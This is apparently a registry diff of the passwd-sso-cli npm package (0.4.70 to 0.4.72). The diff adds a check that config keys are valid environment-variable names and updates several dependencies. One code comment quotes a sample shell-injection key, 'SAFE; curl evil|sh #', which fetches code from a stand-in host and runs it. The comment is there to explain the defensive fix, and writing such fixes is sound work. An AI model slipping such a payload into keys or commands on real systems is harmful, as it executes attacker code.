passwd-sso-cli 0.4.70 → 0.4.72

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -20,6 +20,25 @@ import { validateServerUrl } from "./oauth.js";
20
20
  function isPlaceholderEntryId(entryId) {
21
21
  return entryId === "dummy-entry-id" || /^<[^>]+>$/.test(entryId);
22
22
  }
23
+ // Config keys become env-var NAMES emitted as `export ${key}=...` / `${key}=...`
24
+ // by the `env` command, which is documented for `eval $(passwd-sso env)` and
25
+ // `source`. An unvalidated key is a shell-injection sink: a key like
26
+ // `SAFE; curl evil|sh #` would execute arbitrary commands when eval'd. Restrict
27
+ // keys to POSIX-portable env-var names — the character class excludes every
28
+ // shell metacharacter, so no injection payload can pass. JS `$` (no `m` flag)
29
+ // matches only end-of-input, so a trailing newline cannot slip through either.
30
+ const ENV_NAME_RE = /^[A-Za-z_][A-Za-z0-9_]*$/;
31
+ const MAX_ENV_NAME_LENGTH = 128;
32
+ function assertValidEnvName(envName) {
33
+ if (envName.length > MAX_ENV_NAME_LENGTH) {
34
+ throw new Error(`Secret mapping key is too long (max ${MAX_ENV_NAME_LENGTH} characters).`);
35
+ }
36
+ if (!ENV_NAME_RE.test(envName)) {
37
+ // Do NOT echo the raw key — it may carry an injection payload.
38
+ throw new Error("Secret mapping key must be a valid environment variable name " +
39
+ "(letters, digits, underscore; not starting with a digit).");
40
+ }
41
+ }
23
42
  export function loadSecretsConfig(configPath) {
24
43
  const filePath = configPath
25
44
  ? resolve(configPath)
@@ -33,6 +52,7 @@ export function loadSecretsConfig(configPath) {
33
52
  throw new Error("Config file must have a 'secrets' field.");
34
53
  }
35
54
  for (const [envName, mapping] of Object.entries(parsed.secrets)) {
55
+ assertValidEnvName(envName);
36
56
  if (!mapping || typeof mapping !== "object") {
37
57
  throw new Error(`Secret mapping for '${envName}' must be an object.`);
38
58
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "passwd-sso-cli",
3
- "version": "0.4.70",
3
+ "version": "0.4.72",
4
4
  "description": "CLI for passwd-sso password manager",
5
5
  "type": "module",
6
6
  "license": "MIT",
@@ -18,11 +18,14 @@
18
18
  "ssh-agent"
19
19
  ],
20
20
  "engines": {
21
- "node": ">=20"
21
+ "node": ">=24"
22
22
  },
23
23
  "bin": {
24
24
  "passwd-sso": "./dist/index.js"
25
25
  },
26
+ "publishConfig": {
27
+ "provenance": true
28
+ },
26
29
  "files": [
27
30
  "dist/**/*.js",
28
31
  "dist/**/*.d.ts"
@@ -36,18 +39,18 @@
36
39
  },
37
40
  "dependencies": {
38
41
  "bcrypt-pbkdf": "^1.0.2",
39
- "chalk": "^5.4.1",
42
+ "chalk": "^6.0.0",
40
43
  "cli-table3": "^0.6.5",
41
- "clipboardy": "^4.0.0",
42
- "commander": "^13.1.0",
43
- "inquirer": "^12.6.0",
44
+ "clipboardy": "^5.3.1",
45
+ "commander": "^15.0.0",
46
+ "inquirer": "^14.0.2",
44
47
  "otpauth": "^9.4.0",
45
48
  "zod": "^4.3.6"
46
49
  },
47
50
  "devDependencies": {
48
- "@types/node": "^22.15.3",
51
+ "@types/node": "^26.1.1",
49
52
  "tsx": "^4.19.4",
50
- "typescript": "^5.9.0-beta",
53
+ "typescript": "^5.9.3",
51
54
  "vitest": "^4.1.8"
52
55
  },
53
56
  "overrides": {